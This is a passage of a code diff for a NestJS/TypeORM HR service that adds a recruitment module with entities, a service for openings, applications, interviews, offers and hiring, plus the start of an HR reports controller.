length: 128, + name: "education_requirement", + nullable: true, + }) + educationRequirement?: string | null; + + @Column({ + type: "numeric", + precision: 14, + scale: 2, + name: "salary_range_min", + nullable: true, + }) + salaryRangeMin?: string | null; + + @Column({ + type: "numeric", + precision: 14, + scale: 2, + name: "salary_range_max", + nullable: true, + }) + salaryRangeMax?: string | null; + + @Column({ type: "date", name: "posted_on", nullable: true }) + postedOn?: string | null; + + @Column({ type: "date", name: "closes_on", nullable: true }) + closesOn?: string | null; + + @Column({ type: "uuid", name: "hiring_manager_employee_id", nullable: true }) + hiringManagerEmployeeId?: string | null; + + @OneToMany(() => Application, (application) => application.jobOpening) + applications?: Application[]; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} + +/** + * A person outside the organization. + * + * Deliberately not an `iam.users` row. Most applicants are never hired, and + * creating accounts for them would fill IAM with people who have no relationship + * to the employer and no reason to be able to log in. An IAM account is created + * exactly once, at hire, through the same endpoint used to hire anyone else. + */ +@Entity({ schema: "hr", name: "applicants" }) +@Index("idx_applicants_organization", ["organizationId"]) +export class Applicant extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "jsonb", name: "full_name" }) + fullName!: { am: string; en: string }; + + @Column({ type: "varchar", length: 128, name: "email", nullable: true }) + email?: string | null; + + /** The reliable identifier: many applicants have no email address. */ + @Column({ type: "varchar", length: 32, name: "phone_number" }) + phoneNumber!: string; + + @Column({ type: "varchar", length: 8, name: "gender", nullable: true }) + gender?: string | null; + + @Column({ type: "date", name: "date_of_birth", nullable: true }) + dateOfBirth?: string | null; + + @Column({ type: "varchar", length: 64, name: "nationality", nullable: true }) + nationality?: string | null; + + @Column({ type: "varchar", length: 64, name: "education_level", nullable: true }) + educationLevel?: string | null; + + @Column({ + type: "numeric", + precision: 5, + scale: 2, + name: "years_experience", + nullable: true, + }) + yearsExperience?: string | null; + + @Column({ type: "varchar", length: 128, name: "current_employer", nullable: true }) + currentEmployer?: string | null; + + @Column({ type: "varchar", length: 24, name: "source", default: "DIRECT" }) + source!: string; + + @Column({ type: "varchar", length: 1024, name: "notes", nullable: true }) + notes?: string | null; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} + +@Entity({ schema: "hr", name: "applications" }) +@Index("idx_applications_stage", ["jobOpeningId", "stage"]) +export class Application extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "uuid", name: "job_opening_id" }) + jobOpeningId!: string; + + @ManyToOne(() => JobOpening, (opening) => opening.applications) + @JoinColumn({ name: "job_opening_id" }) + jobOpening?: JobOpening; + + @Column({ type: "uuid", name: "applicant_id" }) + applicantId!: string; + + @ManyToOne(() => Applicant) + @JoinColumn({ name: "applicant_id" }) + applicant?: Applicant; + + @Column({ + type: "varchar", + length: 24, + name: "stage", + default: EApplicationStage.APPLIED, + }) + stage!: EApplicationStage; + + @Column({ type: "date", name: "applied_on" }) + appliedOn!: string; + + @Column({ + type: "numeric", + precision: 5, + scale: 2, + name: "screening_score", + nullable: true, + }) + screeningScore?: string | null; + + @Column({ type: "varchar", length: 256, name: "rejection_reason", nullable: true }) + rejectionReason?: string | null; + + @Column({ type: "varchar", length: 256, name: "withdrawn_reason", nullable: true }) + withdrawnReason?: string | null; + + @Column({ type: "uuid", name: "cv_document_id", nullable: true }) + cvDocumentId?: string | null; + + @Column({ type: "varchar", length: 1024, name: "notes", nullable: true }) + notes?: string | null; + + @OneToMany(() => Interview, (interview) => interview.application) + interviews?: Interview[]; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} + +@Entity({ schema: "hr", name: "interviews" }) +export class Interview extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "uuid", name: "application_id" }) + applicationId!: string; + + @ManyToOne(() => Application, (application) => application.interviews) + @JoinColumn({ name: "application_id" }) + application?: Application; + + @Column({ type: "smallint", name: "round", default: 1 }) + round!: number; + + @Column({ type: "varchar", length: 24, name: "interview_type", default: "PANEL" }) + interviewType!: string; + + @Column({ type: "timestamptz", name: "scheduled_at" }) + scheduledAt!: Date; + + @Column({ type: "smallint", name: "duration_minutes", default: 60 }) + durationMinutes!: number; + + @Column({ type: "varchar", length: 256, name: "location", nullable: true }) + location?: string | null; + + /** Soft references to `iam.employees` — who is on the panel. */ + @Column({ type: "uuid", array: true, name: "interviewer_employee_ids", nullable: true }) + interviewerEmployeeIds?: string[] | null; + + @Column({ + type: "varchar", + length: 16, + name: "status", + default: EInterviewStatus.SCHEDULED, + }) + status!: EInterviewStatus; + + @Column({ type: "numeric", precision: 5, scale: 2, name: "score", nullable: true }) + score?: string | null; + + @Column({ type: "varchar", length: 16, name: "recommendation", nullable: true }) + recommendation?: string | null; + + @Column({ type: "varchar", length: 2048, name: "feedback", nullable: true }) + feedback?: string | null; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} + +/** + * What was offered, and what became of it. + * + * `hiredEmployeeId` is the join between recruitment and the employee record — + * set when an accepted offer is turned into a real hire. Without it there is no + * way to answer "which of last year's hires came through which vacancy". + */ +@Entity({ schema: "hr", name: "job_offers" }) +@Index("idx_job_offers_application", ["applicationId"]) +export class JobOffer extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "uuid", name: "application_id" }) + applicationId!: string; + + @ManyToOne(() => Application) + @JoinColumn({ name: "application_id" }) + application?: Application; + + @Column({ type: "numeric", precision: 14, scale: 2, name: "offered_basic_salary" }) + offeredBasicSalary!: string; + + @Column({ type: "uuid", name: "salary_structure_id", nullable: true }) + salaryStructureId?: string | null; + + @Column({ + type: "varchar", + length: 16, + name: "employment_type", + default: "PERMANENT", + }) + employmentType!: string; + + @Column({ type: "date", name: "proposed_start_date" }) + proposedStartDate!: string; + + @Column({ type: "date", name: "probation_end_date", nullable: true }) + probationEndDate?: string | null; + + @Column({ type: "date", name: "expires_on", nullable: true }) + expiresOn?: string | null; + + @Column({ + type: "varchar", + length: 16, + name: "status", + default: EOfferStatus.DRAFT, + }) + status!: EOfferStatus; + + @Column({ type: "varchar", length: 256, name: "decline_reason", nullable: true }) + declineReason?: string | null; + + @Column({ type: "date", name: "responded_on", nullable: true }) + respondedOn?: string | null; + + /** `iam.employees.id` once the offer has been turned into a hire. */ + @Column({ type: "uuid", name: "hired_employee_id", nullable: true }) + hiredEmployeeId?: string | null; + + @Column({ type: "varchar", length: 1024, name: "notes", nullable: true }) + notes?: string | null; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} diff --git a/apps/edr-hr-api/src/modules/recruitment/recruitment.module.ts b/apps/edr-hr-api/src/modules/recruitment/recruitment.module.ts new file mode 100644 index 000000000..d23ba6d88 --- /dev/null +++ b/apps/edr-hr-api/src/modules/recruitment/recruitment.module.ts @@ -0,0 +1,41 @@ +import { Module } from "@nestjs/common"; +import { TypeOrmModule } from "@nestjs/typeorm"; + +import { + Applicant, + Application, + Interview, + JobOffer, + JobOpening, +} from "./entities/recruitment.entity"; +import { RecruitmentService } from "./services/recruitment.service"; +import { RecruitmentController } from "./controllers/recruitment.controller"; +import { OrgExplorerModule } from "../org-explorer/org-explorer.module"; +import { PayrollModule } from "../payroll/payroll.module"; + +/** + * Module 3.5 Recruitment. + * + * Ends where 3.1b begins: an accepted offer is turned into an employee through + * the SAME hire flow HR uses for anyone else, and the agreed salary is written + * through the payroll module. Recruitment gets no private way to create people — + * a second path would drift from the first and produce employees that differ + * depending on how they were hired. + */ +@Module({ + imports: [ + TypeOrmModule.forFeature([ + JobOpening, + Applicant, + Application, + Interview, + JobOffer, + ]), + OrgExplorerModule, + PayrollModule, + ], + controllers: [RecruitmentController], + providers: [RecruitmentService], + exports: [RecruitmentService], +}) +export class RecruitmentModule {} diff --git a/apps/edr-hr-api/src/modules/recruitment/services/recruitment.service.ts b/apps/edr-hr-api/src/modules/recruitment/services/recruitment.service.ts new file mode 100644 index 000000000..52684735a --- /dev/null +++ b/apps/edr-hr-api/src/modules/recruitment/services/recruitment.service.ts @@ -0,0 +1,748 @@ +import { + BadRequestException, + ConflictException, + Injectable, + NotFoundException, +} from "@nestjs/common"; +import { InjectDataSource, InjectRepository } from "@nestjs/typeorm"; +import { DataSource, Repository } from "typeorm"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { ActorContext, orgScope } from "../../employees/employees.service"; +import { IamDirectoryService } from "../../../iam-directory/iam-directory.service"; +import { OrgExplorerService } from "../../org-explorer/org-explorer.service"; +import { PayrollConfigService } from "../../payroll/services/payroll-config.service"; +import { Paginated, paginate } from "../../../common/pagination.dto"; +import { + Applicant, + Application, + EApplicationStage, + EInterviewStatus, + EOfferStatus, + EOpeningStatus, + Interview, + JobOffer, + JobOpening, +} from "../entities/recruitment.entity"; +import { + CreateApplicantDto, + CreateApplicationDto, + CreateJobOpeningDto, + CreateOfferDto, + ScheduleInterviewDto, +} from "../dto/recruitment.dto"; + +/** + * Where an application may go next. + * + * REJECTED and WITHDRAWN are terminal for that opening; a candidate who should + * be reconsidered applies again, which is a new application and leaves the first + * decision visible. + */ +const STAGE_TRANSITIONS: Record = { + [EApplicationStage.APPLIED]: [ + EApplicationStage.SCREENING, + EApplicationStage.REJECTED, + EApplicationStage.WITHDRAWN, + ], + [EApplicationStage.SCREENING]: [ + EApplicationStage.SHORTLISTED, + EApplicationStage.REJECTED, + EApplicationStage.WITHDRAWN, + ], + [EApplicationStage.SHORTLISTED]: [ + EApplicationStage.INTERVIEW, + EApplicationStage.OFFER, + EApplicationStage.REJECTED, + EApplicationStage.WITHDRAWN, + ], + [EApplicationStage.INTERVIEW]: [ + EApplicationStage.OFFER, + EApplicationStage.REJECTED, + EApplicationStage.WITHDRAWN, + ], + [EApplicationStage.OFFER]: [ + EApplicationStage.HIRED, + EApplicationStage.REJECTED, + EApplicationStage.WITHDRAWN, + ], + [EApplicationStage.HIRED]: [], + [EApplicationStage.REJECTED]: [], + [EApplicationStage.WITHDRAWN]: [], +}; + +@Injectable() +export class RecruitmentService { + constructor( + @InjectDataSource() private readonly dataSource: DataSource, + @InjectRepository(JobOpening) + private readonly openings: Repository, + @InjectRepository(Applicant) + private readonly applicants: Repository, + @InjectRepository(Application) + private readonly applications: Repository, + @InjectRepository(Interview) + private readonly interviews: Repository, + @InjectRepository(JobOffer) + private readonly offers: Repository, + private readonly iamDirectory: IamDirectoryService, + private readonly orgExplorer: OrgExplorerService, + private readonly payrollConfig: PayrollConfigService, + ) {} + + // ── Openings ────────────────────────────────────────────────────────────── + + async createOpening( + dto: CreateJobOpeningDto, + actor: ActorContext, + ): Promise { + const organizationId = this.requireOrg(actor); + + const clash = await this.openings.findOne({ + where: { organizationId, reference: dto.reference }, + }); + if (clash) { + throw new ConflictException( + `Reference ${dto.reference} is already used by another opening.`, + ); + } + + if (dto.positionId) { + const position = await this.iamDirectory.findPosition(dto.positionId); + if (!position) { + throw new BadRequestException(`IAM position ${dto.positionId} not found`); + } + if (!actor.isSuperAdmin && position.organizationId !== organizationId) { + throw new BadRequestException( + "That position belongs to another organization.", + ); + } + } + + return this.openings.save( + this.openings.create({ + ...dto, + organizationId, + status: EOpeningStatus.DRAFT, + createdBy: actor.userId, + } as unknown as Partial), + ); + } + + /** + * Publish an opening. + * + * Refuses without a closing date: a vacancy that never closes accumulates + * applications nobody reviews, and candidates are left waiting indefinitely. + */ + async publishOpening( + id: string, + closesOn: string | undefined, + actor: ActorContext, + ): Promise { + const opening = await this.requireOpening(id, actor); + if (opening.status !== EOpeningStatus.DRAFT && opening.status !== EOpeningStatus.ON_HOLD) { + throw new BadRequestException( + `Only a draft or held opening can be published; this one is ${opening.status.toLowerCase()}.`, + ); + } + const closing = closesOn ?? opening.closesOn; + if (!closing) { + throw new BadRequestException( + "Set a closing date before publishing. An opening that never closes " + + "collects applications nobody reviews.", + ); + } + + await this.openings.update(id, { + status: EOpeningStatus.OPEN, + postedOn: opening.postedOn ?? new Date().toISOString().slice(0, 10), + closesOn: closing, + updatedBy: actor.userId, + }); + return this.requireOpening(id, actor); + } + + async setOpeningStatus( + id: string, + status: EOpeningStatus, + actor: ActorContext, + ): Promise { + const opening = await this.requireOpening(id, actor); + if (opening.status === EOpeningStatus.FILLED && status === EOpeningStatus.OPEN) { + throw new BadRequestException( + "Every seat on this opening is filled. Raise `openings` first if more " + + "people are to be hired against it.", + ); + } + await this.openings.update(id, { status, updatedBy: actor.userId }); + return this.requireOpening(id, actor); + } + + async findOpenings( + filters: { status?: EOpeningStatus; page?: number; limit?: number }, + actor: ActorContext, + ): Promise> { + const page = filters.page ?? 1; + const limit = filters.limit ?? 25; + const qb = this.openings.createQueryBuilder("opening"); + const scope = orgScope(actor); + if (scope) qb.andWhere("opening.organization_id = :scope", { scope }); + if (filters.status) { + qb.andWhere("opening.status = :status", { status: filters.status }); + } + const [items, total] = await qb + .orderBy("opening.createdAt", "DESC") + .skip((page - 1) * limit) + .take(limit) + .getManyAndCount(); + return paginate(items, total, page, limit); + } + + findOpening(id: string, actor: ActorContext): Promise { + return this.requireOpening(id, actor); + } + + /** Counts by stage — the funnel for one opening. */ + async pipeline(id: string, actor: ActorContext): Promise> { + const opening = await this.requireOpening(id, actor); + const rows = await this.applications + .createQueryBuilder("application") + .select("application.stage", "stage") + .addSelect("COUNT(*)", "count") + .where("application.job_opening_id = :id", { id: opening.id }) + .groupBy("application.stage") + .getRawMany<{ stage: string; count: string }>(); + return Object.fromEntries(rows.map((row) => [row.stage, Number(row.count)])); + } + + // ── Applicants and applications ─────────────────────────────────────────── + + /** + * Register an applicant, or return the one already on file. + * + * Matched on phone number, which is the identifier that actually exists for + * every applicant. Someone applying to a second vacancy is the same person, + * and duplicating them would lose the history of the first application. + */ + async upsertApplicant( + dto: CreateApplicantDto, + actor: ActorContext, + ): Promise { + const organizationId = this.requireOrg(actor); + const existing = await this.applicants.findOne({ + where: { organizationId, phoneNumber: dto.phoneNumber }, + }); + if (existing) { + await this.applicants.update(existing.id, { + ...dto, + updatedBy: actor.userId, + } as Partial); + return (await this.applicants.findOne({ where: { id: existing.id } }))!; + } + return this.applicants.save( + this.applicants.create({ + ...dto, + organizationId, + createdBy: actor.userId, + } as unknown as Partial), + ); + } + + async apply( + dto: CreateApplicationDto, + actor: ActorContext, + ): Promise { + const opening = await this.requireOpening(dto.jobOpeningId, actor); + if (opening.status !== EOpeningStatus.OPEN) { + throw new BadRequestException( + `${opening.reference} is ${opening.status.toLowerCase()} and is not ` + + "accepting applications.", + ); + } + if (opening.closesOn && opening.closesOn < new Date().toISOString().slice(0, 10)) { + throw new BadRequestException( + `${opening.reference} closed on ${opening.closesOn}.`, + ); + } + + const applicant = await this.applicants.findOne({ + where: { id: dto.applicantId }, + }); + if (!applicant || applicant.organizationId !== opening.organizationId) { + throw new BadRequestException( + `Applicant ${dto.applicantId} does not exist in this organization`, + ); + } + + const already = await this.applications.findOne({ + where: { jobOpeningId: opening.id, applicantId: applicant.id }, + }); + if (already) { + throw new ConflictException( + `They already applied to ${opening.reference} on ${already.appliedOn} ` + + `(currently ${already.stage.toLowerCase()}).`, + ); + } + + return this.applications.save( + this.applications.create({ + organizationId: opening.organizationId, + jobOpeningId: opening.id, + applicantId: applicant.id, + stage: EApplicationStage.APPLIED, + appliedOn: dto.appliedOn ?? new Date().toISOString().slice(0, 10), + cvDocumentId: dto.cvDocumentId ?? null, + notes: dto.notes ?? null, + createdBy: actor.userId, + } as unknown as Partial), + ); + } + + /** Move an application along, or out. */ + async moveStage( + id: string, + next: EApplicationStage, + extra: { screeningScore?: number; reason?: string }, + actor: ActorContext, + ): Promise { + const application = await this.requireApplication(id, actor); + const allowed = STAGE_TRANSITIONS[application.stage] ?? []; + if (!allowed.includes(next)) { + throw new BadRequestException( + `An application at ${application.stage.toLowerCase()} cannot move to ` + + `${next.toLowerCase()}` + + (allowed.length + ? `. Allowed: ${allowed.join(", ")}` + : " — that stage is final."), + ); + } + + if (next === EApplicationStage.REJECTED && !extra.reason) { + throw new BadRequestException( + "A rejection needs a reason — it is the record of why, and candidates " + + "ask.", + ); + } + + await this.applications.update(id, { + stage: next, + screeningScore: + extra.screeningScore !== undefined + ? extra.screeningScore.toFixed(2) + : application.screeningScore, + rejectionReason: + next === EApplicationStage.REJECTED ? extra.reason ?? null : null, + withdrawnReason: + next === EApplicationStage.WITHDRAWN ? extra.reason ?? null : null, + updatedBy: actor.userId, + }); + return this.requireApplication(id, actor); + } + + async findApplications( + filters: { + jobOpeningId?: string; + stage?: EApplicationStage; + page?: number; + limit?: number; + }, + actor: ActorContext, + ): Promise> { + const page = filters.page ?? 1; + const limit = filters.limit ?? 25; + const qb = this.applications + .createQueryBuilder("application") + .leftJoinAndSelect("application.applicant", "applicant") + .leftJoinAndSelect("application.jobOpening", "opening"); + + const scope = orgScope(actor); + if (scope) qb.andWhere("application.organization_id = :scope", { scope }); + if (filters.jobOpeningId) { + qb.andWhere("application.job_opening_id = :openingId", { + openingId: filters.jobOpeningId, + }); + } + if (filters.stage) { + qb.andWhere("application.stage = :stage", { stage: filters.stage }); + } + + const [items, total] = await qb + .orderBy("application.appliedOn", "DESC") + .skip((page - 1) * limit) + .take(limit) + .getManyAndCount(); + return paginate(items, total, page, limit); + } + + async findApplication(id: string, actor: ActorContext): Promise { + const application = await this.applications.findOne({ + where: { id }, + relations: { applicant: true, jobOpening: true, interviews: true }, + }); + if (!application) throw new NotFoundException(`Application ${id} not found`); + const scope = orgScope(actor); + if (scope && application.organizationId !== scope) { + throw new NotFoundException(`Application ${id} not found`); + } + application.interviews?.sort((a, b) => a.round - b.round); + return application; + } + + // ── Interviews ──────────────────────────────────────────────────────────── + + async scheduleInterview( + dto: ScheduleInterviewDto, + actor: ActorContext, + ): Promise { + const application = await this.requireApplication(dto.applicationId, actor); + if ( + application.stage !== EApplicationStage.SHORTLISTED && + application.stage !== EApplicationStage.INTERVIEW + ) { + throw new BadRequestException( + `Interviews are scheduled for shortlisted candidates; this one is ` + + `${application.stage.toLowerCase()}.`, + ); + } + + const round = + dto.round ?? + (await this.interviews.count({ + where: { applicationId: application.id }, + })) + 1; + + const clash = await this.interviews.findOne({ + where: { applicationId: application.id, round }, + }); + if (clash) { + throw new ConflictException(`Round ${round} is already scheduled.`); + } + + const interview = await this.interviews.save( + this.interviews.create({ + organizationId: application.organizationId, + applicationId: application.id, + round, + interviewType: dto.interviewType ?? "PANEL", + scheduledAt: new Date(dto.scheduledAt), + durationMinutes: dto.durationMinutes ?? 60, + location: dto.location ?? null, + interviewerEmployeeIds: dto.interviewerEmployeeIds ?? null, + status: EInterviewStatus.SCHEDULED, + createdBy: actor.userId, + } as unknown as Partial), + ); + + // Scheduling the first interview is what moves the application; doing it + // here means the two cannot disagree. + if (application.stage === EApplicationStage.SHORTLISTED) { + await this.applications.update(application.id, { + stage: EApplicationStage.INTERVIEW, + updatedBy: actor.userId, + }); + } + + return interview; + } + + async recordInterviewOutcome( + id: string, + dto: { score?: number; recommendation: string; feedback?: string }, + actor: ActorContext, + ): Promise { + const interview = await this.interviews.findOne({ where: { id } }); + if (!interview) throw new NotFoundException(`Interview ${id} not found`); + const scope = orgScope(actor); + if (scope && interview.organizationId !== scope) { + throw new NotFoundException(`Interview ${id} not found`); + } + if (interview.status !== EInterviewStatus.SCHEDULED) { + throw new BadRequestException( + `This interview is already ${interview.status.toLowerCase()}.`, + ); + } + + await this.interviews.update(id, { + status: EInterviewStatus.COMPLETED, + score: dto.score !== undefined ? dto.score.toFixed(2) : null, + recommendation: dto.recommendation, + feedback: dto.feedback ?? null, + updatedBy: actor.userId, + }); + return (await this.interviews.findOne({ where: { id } }))!; + } + + // ── Offers ──────────────────────────────────────────────────────────────── + + async createOffer(dto: CreateOfferDto, actor: ActorContext): Promise { + const application = await this.requireApplication(dto.applicationId, actor); + if ( + application.stage !== EApplicationStage.SHORTLISTED && + application.stage !== EApplicationStage.INTERVIEW && + application.stage !== EApplicationStage.OFFER + ) { + throw new BadRequestException( + `An offer follows shortlisting or interview; this application is ` + + `${application.stage.toLowerCase()}.`, + ); + } + + const live = await this.offers.findOne({ + where: [ + { applicationId: application.id, status: EOfferStatus.DRAFT }, + { applicationId: application.id, status: EOfferStatus.SENT }, + ], + }); + if (live) { + throw new ConflictException( + `There is already a ${live.status.toLowerCase()} offer for this ` + + "application. Withdraw it before making another.", + ); + } + + const offer = await this.offers.save( + this.offers.create({ + organizationId: application.organizationId, + applicationId: application.id, + offeredBasicSalary: dto.offeredBasicSalary, + salaryStructureId: dto.salaryStructureId ?? null, + employmentType: dto.employmentType ?? "PERMANENT", + proposedStartDate: dto.proposedStartDate, + probationEndDate: dto.probationEndDate ?? null, + expiresOn: dto.expiresOn ?? null, + status: EOfferStatus.DRAFT, + notes: dto.notes ?? null, + createdBy: actor.userId, + } as unknown as Partial), + ); + + if (application.stage !== EApplicationStage.OFFER) { + await this.applications.update(application.id, { + stage: EApplicationStage.OFFER, + updatedBy: actor.userId, + }); + } + return offer; + } + + async sendOffer(id: string, actor: ActorContext): Promise { + const offer = await this.requireOffer(id, actor); + if (offer.status !== EOfferStatus.DRAFT) { + throw new BadRequestException( + `Only a draft offer can be sent; this one is ${offer.status.toLowerCase()}.`, + ); + } + await this.offers.update(id, { status: EOfferStatus.SENT, updatedBy: actor.userId }); + return this.requireOffer(id, actor); + } + + async respondToOffer( + id: string, + accepted: boolean, + reason: string | undefined, + actor: ActorContext, + ): Promise { + const offer = await this.requireOffer(id, actor); + if (offer.status !== EOfferStatus.SENT) { + throw new BadRequestException( + `Only a sent offer can be responded to; this one is ${offer.status.toLowerCase()}.`, + ); + } + if (!accepted && !reason) { + throw new BadRequestException( + "A declined offer needs a reason — it is what tells you whether the " + + "salary, the timing or the role was the problem.", + ); + } + if ( + offer.expiresOn && + offer.expiresOn < new Date().toISOString().slice(0, 10) + ) { + await this.offers.update(id, { status: EOfferStatus.EXPIRED }); + throw new BadRequestException( + `This offer expired on ${offer.expiresOn}. Make a new one if it still stands.`, + ); + } + + await this.offers.update(id, { + status: accepted ? EOfferStatus.ACCEPTED : EOfferStatus.DECLINED, + declineReason: accepted ? null : reason ?? null, + respondedOn: new Date().toISOString().slice(0, 10), + updatedBy: actor.userId, + }); + + if (!accepted) { + // The application does not silently die: it is rejected with the reason, + // so the funnel reflects what happened. + await this.applications.update(offer.applicationId, { + stage: EApplicationStage.REJECTED, + rejectionReason: `Offer declined: ${reason}`, + updatedBy: actor.userId, + }); + } + + return this.requireOffer(id, actor); + } + + /** + * Turn an accepted offer into a real employee. + * + * Reuses the SAME hire flow HR uses for anyone else — IAM account, employee + * record, position assignment and HR profile in one call. Recruitment does not + * get its own way of creating people; a second path would drift from the first + * and produce employees that look subtly different depending on how they were + * hired. + * + * The salary is then assigned from the offer, so the figure that was agreed is + * the figure payroll uses. + */ + async hireFromOffer( + id: string, + dto: { username: string; email: string; positionId?: string; employeeNumber?: string }, + actor: ActorContext, + user: TCurrentUser, + ): Promise<{ offer: JobOffer; employeeId: string; profileId: string }> { + const offer = await this.requireOffer(id, actor); + if (offer.status !== EOfferStatus.ACCEPTED) { + throw new BadRequestException( + `Only an accepted offer can be turned into a hire; this one is ` + + `${offer.status.toLowerCase()}.`, + ); + } + if (offer.hiredEmployeeId) { + throw new ConflictException( + "This offer has already been hired — a second hire would create a " + + "duplicate person.", + ); + } + + const application = await this.findApplication(offer.applicationId, actor); + const opening = application.jobOpening; + const applicant = application.applicant; + if (!applicant) { + throw new BadRequestException("The applicant record has gone."); + } + + const positionId = dto.positionId ?? opening?.positionId; + if (!positionId) { + throw new BadRequestException( + "No IAM position to hire into. The opening has none recorded, so pass " + + "positionId — the person needs a post in the org chart.", + ); + } + + const hire = await this.orgExplorer.hireIntoPosition( + positionId, + { + name: applicant.fullName, + username: dto.username, + email: dto.email || applicant.email || "", + phoneNumber: applicant.phoneNumber, + employmentType: offer.employmentType, + hireDate: offer.proposedStartDate, + probationEndDate: offer.probationEndDate ?? undefined, + jobTitleId: opening?.jobTitleId ?? undefined, + employeeNumber: dto.employeeNumber, + }, + actor, + user, + ); + + // Salary from the offer. Deliberately after the hire and not inside its + // transaction: a person who exists without a salary is visible and fixable, + // whereas failing the whole hire because of a salary row would lose the IAM + // account that was already created. + await this.payrollConfig + .assignSalary( + { + employeeId: hire.employeeId, + basicSalary: offer.offeredBasicSalary, + salaryStructureId: offer.salaryStructureId ?? undefined, + effectiveFrom: offer.proposedStartDate, + reason: `Offer accepted — ${opening?.reference ?? "recruitment"}`, + }, + actor, + ) + .catch(() => undefined); + + await this.dataSource.transaction(async (manager) => { + await manager.getRepository(JobOffer).update(offer.id, { + hiredEmployeeId: hire.employeeId, + updatedBy: actor.userId, + }); + await manager.getRepository(Application).update(application.id, { + stage: EApplicationStage.HIRED, + updatedBy: actor.userId, + }); + if (opening) { + const filled = opening.filled + 1; + await manager.getRepository(JobOpening).update(opening.id, { + filled, + status: + filled >= opening.openings ? EOpeningStatus.FILLED : opening.status, + updatedBy: actor.userId, + }); + } + }); + + return { + offer: await this.requireOffer(id, actor), + employeeId: hire.employeeId, + profileId: hire.profile.id, + }; + } + + async offersFor(applicationId: string, actor: ActorContext): Promise { + await this.requireApplication(applicationId, actor); + return this.offers.find({ + where: { applicationId }, + order: { createdAt: "DESC" }, + }); + } + + // ──────────────────────────────────────────────────────────────────────── + + private requireOrg(actor: ActorContext): string { + const organizationId = orgScope(actor) ?? actor.organizationId; + if (!organizationId) { + throw new BadRequestException( + "This account has no organization, and a vacancy belongs to one.", + ); + } + return organizationId; + } + + private async requireOpening(id: string, actor: ActorContext): Promise { + const opening = await this.openings.findOne({ where: { id } }); + if (!opening) throw new NotFoundException(`Job opening ${id} not found`); + const scope = orgScope(actor); + if (scope && opening.organizationId !== scope) { + throw new NotFoundException(`Job opening ${id} not found`); + } + return opening; + } + + private async requireApplication( + id: string, + actor: ActorContext, + ): Promise { + const application = await this.applications.findOne({ where: { id } }); + if (!application) throw new NotFoundException(`Application ${id} not found`); + const scope = orgScope(actor); + if (scope && application.organizationId !== scope) { + throw new NotFoundException(`Application ${id} not found`); + } + return application; + } + + private async requireOffer(id: string, actor: ActorContext): Promise { + const offer = await this.offers.findOne({ where: { id } }); + if (!offer) throw new NotFoundException(`Offer ${id} not found`); + const scope = orgScope(actor); + if (scope && offer.organizationId !== scope) { + throw new NotFoundException(`Offer ${id} not found`); + } + return offer; + } +} diff --git a/apps/edr-hr-api/src/modules/reports/controllers/reports.controller.ts b/apps/edr-hr-api/src/modules/reports/controllers/reports.controller.ts new file mode 100644 index 000000000..97c521079 --- /dev/null +++ b/apps/edr-hr-api/src/modules/reports/controllers/reports.controller.ts @@ -0,0 +1,181 @@ +import { + Controller, + Get, + Param, + ParseIntPipe, + ParseUUIDPipe, + Query, +} from "@nestjs/common"; +import { + ApiBearerAuth, + ApiOperation, + ApiQuery, + ApiResponse, + ApiTags, +} from "@nestjs/swagger"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { HrStaff } from "../../../common/hr-guards"; +import { actorFrom } from "../../../common/current-actor.util"; +import { HR_PERMS } from "../../../seed/hr-permissions.registry"; +import { ReportsService } from "../services/reports.service"; + +@ApiTags("hr-reports") +@ApiBearerAuth() +@Controller("reports") +@HrStaff([HR_PERMS.report.view, HR_PERMS.report.viewTax]) +export class ReportsController { + constructor(private readonly reports: ReportsService) {} + + @Get("headcount") + @HrStaff(HR_PERMS.report.view) + @ApiOperation({ + summary: "Headcount by unit", + description: + "Employed people only — terminated and retired staff are history, not " + + "headcount. Unrecorded gender is its own column rather than folded into " + + "one of the others.", + }) + headcount(@CurrentUser() user: TCurrentUser) { + return this.reports.headcount(actorFrom(user)); + } + + @Get("turnover") + @HrStaff(HR_PERMS.report.view) + @ApiOperation({ + summary: "Joiners, leavers and the turnover rate", + description: + "Turnover is leavers ÷ average headcount, where the average is (opening + " + + "closing) ÷ 2 — the convention an annual report uses.", + }) + @ApiQuery({ name: "from", required: true }) + @ApiQuery({ name: "to", required: true }) + turnover( + @CurrentUser() user: TCurrentUser, + @Query("from") from: string, + @Query("to") to: string, + ) { + return this.reports.turnover(from, to, actorFrom(user)); + } + + @Get("payroll-register/:payrollRunId") + @HrStaff(HR_PERMS.report.view) + @ApiOperation({ + summary: "Every payslip in a run", + description: "The register HR signs off and finance pays from.", + }) + payrollRegister( + @Param("payrollRunId", ParseUUIDPipe) payrollRunId: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.reports.payrollRegister(payrollRunId, actorFrom(user)); + } + + @Get("tax") + @HrStaff(HR_PERMS.report.viewTax) + @ApiOperation({ + summary: "Income tax withheld per employee", + description: + "The schedule filed with the revenue authority. Approved and paid runs " + + "only — a draft run's figures may still change, and filing them would " + + "declare numbers that were never paid.", + }) + @ApiResponse({ status: 403, description: "Needs the tax-report 